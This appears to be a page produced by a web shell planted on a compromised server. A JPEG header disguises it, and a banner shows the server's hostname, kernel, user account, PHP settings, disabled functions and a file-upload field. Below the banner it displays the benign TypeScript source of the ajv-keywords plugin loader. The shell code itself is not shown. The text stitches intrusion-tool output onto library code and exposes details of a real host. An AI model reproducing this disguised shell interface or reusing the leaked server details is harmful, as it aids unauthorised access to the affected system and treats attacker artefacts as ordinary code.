ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /var/www/node_services/apimetaexamepopular/node_modules/ajv-keywords/src/ |
Upload File : |
import type Ajv from "ajv"
import type {Plugin} from "ajv"
import plugins from "./keywords"
export {AjvKeywordsError} from "./definitions"
const ajvKeywords: Plugin<string | string[]> = (ajv: Ajv, keyword?: string | string[]): Ajv => {
if (Array.isArray(keyword)) {
for (const k of keyword) get(k)(ajv)
return ajv
}
if (keyword) {
get(keyword)(ajv)
return ajv
}
for (keyword in plugins) get(keyword)(ajv)
return ajv
}
ajvKeywords.get = get
function get(keyword: string): Plugin<any> {
const defFunc = plugins[keyword]
if (!defFunc) throw new Error("Unknown keyword " + keyword)
return defFunc
}
export default ajvKeywords
module.exports = ajvKeywords
// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
module.exports.default = ajvKeywords